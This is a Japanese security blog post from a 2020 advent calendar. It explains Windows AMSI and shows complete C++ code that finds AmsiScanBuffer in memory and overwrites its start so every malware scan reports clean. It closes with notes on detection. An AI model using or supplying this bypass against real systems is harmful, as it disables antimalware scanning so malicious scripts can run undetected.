amsi!AmsiScanBufferへのパッチによるAMSI Bypassをやってみる
amsi!AmsiScanBufferへのパッチによるAMSI Bypassをやってみる
この記事はIPFactoryアドベントカレンダー2020の22日目の記事です.
AMSIとは
AMSI(Windows Antimalware Scan Interface)は,Windows上で動くアプリケーションやサービスに対し,マルウェア対策プロバイダーにコンテンツを送信するためのインターフェースだ.
例えばPowerShellやVBAマクロ等の入力値が悪質なコンテンツだと判定されたとき,その裏ではAMSIを通じたコンテンツのスキャンが行われている.具体的にはAMSIは以下のWindowsコンポーネントと統合されている.
- ユーザーアカウント制御(UAC)
- PowerShell
- Windows Script Host(wscript.exeおよびcscript.exe)
- JavaScript,VBScript
- OfficeVBAマクロ
公式の以下の図は,PowerShellやVBScriptまたは開発者が独自に用意したコードがAMSIを呼び出し,ユーザーの入力値を検査出来ることを表している.
引用:https://docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps
例えばPowerShellであれば,Amsi.dllからエクスポートされるAmsiScanBuffer,AmsiScanStrinにコンテンツを渡すことでスキャンが行われることがこの図から読み取れる.
しばらくのgooglingの後,現在AMSIスキャンをバイパスする手法の中でも,特にエクスポート関数AmsiScanBufferに注目した手法として,その引数や戻り値に注目したパッチ当てが知られていることが分かった.
https://www.contextis.com/en/blog/amsi-bypass
ここでは,上記記事を参考にしつつ,最も直感的な方法である,AmsiScanBufferへのパッチ当てによるAMSIバイパスをやってみる. 具体的には,最初にPowerShellプロセスにロードされたAmsi.dllの機能を確認したのち,AmsiScanBufferにパッチを当てることでコンテンツスキャンをバイパスしてみる.
検証に利用した環境は以下.
AMSI機能チェック
バイパスコードを作成する前に,AMSIスキャンがどのように行われるのか確認してみる.
例えば以下のように,不審なコンテンツを実行しようとした場合,コンテンツの中身がmaliciousだと判定されブロックされてしまう.
MSDNによると,AmsiScanBufferの関数プロトタイプは以下のようになっており,スキャン結果に関係がありそうなパラメータとして戻り値とresultが考えられる.
HRESULT AmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result );
またAMSI_RESULTの定義は以下である.
WinDbgで調査したところ,resultの値が0x0(AMSI_RESULT_CLEAN)かつ戻り値が0x0(S_OK)であれば,コンテンツの内容がクリーンなものとして判定されるようである.
無害なコンテンツを与えた際のresultの参照先の値
有害なコンテンツを与えた際のresultの参照先の値
また,関数のエントリー時のresultと戻り値は必ず0x0であることも分かった. したがって,関数冒頭を「xor rax rax ;ret」等のようにパッチを当てることでAMSIスキャンをバイパス出来る.
パッチコードの実装
これからamsi!AmsiScanBufferにパッチを当て,AMSIスキャンをバイパスするコードを作成する.
CreateProcessやLoadlibraryなどのように、DLLからエクスポートされる関数へのアドレスは,GetProcAddressなどを利用することによって簡単に求められる.しかし,パッチを当てる部分がDLL内部でのみ使用されるコードであった場合はどうであろうか.この場合GetProcAddressに頼ったアドレス取得では対応できない.そこでここでは,AmsiScanBufferを特定できる一意な機械語でメモリ領域を探索し,パッチを当てるアドレスを求めることにする.このようにすれば,AmsiScanBufferが将来的に内部関数として隠蔽されてしまったとしても,機械語を置き換えるだけで再利用できるコードになるはずだ.
まずAmsiScanBufferを一意に特定できる機械語を調査する.ここでは,関数の先頭数バイト分の機械語を採用することにする.
パッチコードの処理の流れは大まかに次のようになっている.
- LoadLibraryを使ってAmsi.dllのベースアドレスを取得
- PEファイル内のOptionalHeader.SizeOfImageから,メモリ内に展開されたAmsi.dllのサイズを取得
- AmsiScanBufferを一意に特定できる機械語でメモリ内を検索
- 検索がヒットした場合,AmsiScanBufferの関数冒頭にパッチを当てる
#include<Windows.h> #include<iostream> using namespace std; char patternOfAmsiScanBuffer[] = { 0x4c, 0x8b, 0xdc, //MOV R11,RSP 0x49, 0x89, 0x5b, 0x08, //MOV qword ptr[R11 + local_res8],RBX 0x49, 0x89, 0x6b, 0x10, //MOV qword ptr[R11 + local_res10],RBP 0x49, 0x89, 0x73, 0x18, //MOV qword ptr[R11 + local_res18],RSI 0x57, //PUSH RDI 0x41, 0x56, //PUSH R14 0x41, 0x57, //PUSH R15 0x48, 0x83, 0xEC, 0x70 //SUB RSP,0x70 }; char patternOfPatch[] = { 0x48, 0x31, 0xc0, //XOR RAX,RAX 0xc3 //RET }; PVOID FindPattern(char* startAddress, char* patternBuff, SIZE_T patternSize, SIZE_T searchBytes) { unsigned int i = 0; do { if (startAddress[i] == patternBuff[0]) { for (size_t j = 1; j < patternSize; j++) { if (patternBuff[j] != startAddress[i + j]) break; if (j == patternSize - 1) { return (LPVOID)(&startAddress[i]); } } } ++i; } while (i < searchBytes); return (PVOID)NULL; } int main() { HMODULE hAmsi = LoadLibraryExA("amsi.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32); if (hAmsi == NULL) { cout << "[-]Failed to get the base addr" << endl; } cout << "[+]Amsi.dll base addr: " << hAmsi << endl; PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hAmsi; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)hAmsi + dosHeader->e_lfanew); SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage; cout << "[+]SizeOfImage: " << sizeOfImage << endl; PVOID addressOfAmsiScanBuffer = FindPattern((char*)hAmsi, patternOfAmsiScanBuffer, sizeof(patternOfAmsiScanBuffer), sizeOfImage); if(addressOfAmsiScanBuffer == NULL){ cout << "[-]Failed to get the pattern addr" << endl; return 0; } cout << "[+]addressOfAmsiScanBuffer: " << addressOfAmsiScanBuffer << endl; DWORD oldProtect = NULL; DWORD newProtect = PAGE_EXECUTE_READWRITE; VirtualProtect(addressOfAmsiScanBuffer, sizeof(patternOfPatch), newProtect, &oldProtect); SIZE_T lpNumberOfBytesWritten = 0; if (!WriteProcessMemory(GetCurrentProcess(), addressOfAmsiScanBuffer, patternOfPatch, sizeof(patternOfPatch), &lpNumberOfBytesWritten)) { cout << "[-]Failed to patch the memory" << endl; return 0; } cout << "[+]Successful patched!!" << endl; cout << "[+]AMSI scan hash been disabled!!" << endl; VirtualProtect(addressOfAmsiScanBuffer, sizeof(patternOfPatch), oldProtect, &newProtect); CloseHandle(hAmsi); return 0; }
実験
終わりに
この記事で行ったような,Amsi.dllに対するパッチによりスキャンをバイパスしようとする試みは既に多くの記事が公開されており,本稿はそれらを手本に作成された.このようなAmsi.dllに対するパッチの検知手法としては,メモリ内のネイティブコードのチェックやハッシュ値によるコード領域の改ざんチェックなどが考えられる.
実験では,メモリ内に有害なコンテンツが読み込まれたところで終わっているが,実際にはこの先の処理に進もうとするとWindows Defenderに検知されてしまう.この記事で紹介した内容は,銀の弾丸はおろか本質的にAMSIをバイパスできるものではなく,またアンマネージドコード等の理由からモダンな手法ともいえず優位性は高くないだろう.
参考
https://www.contextis.com/en/blog/amsi-bypass
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/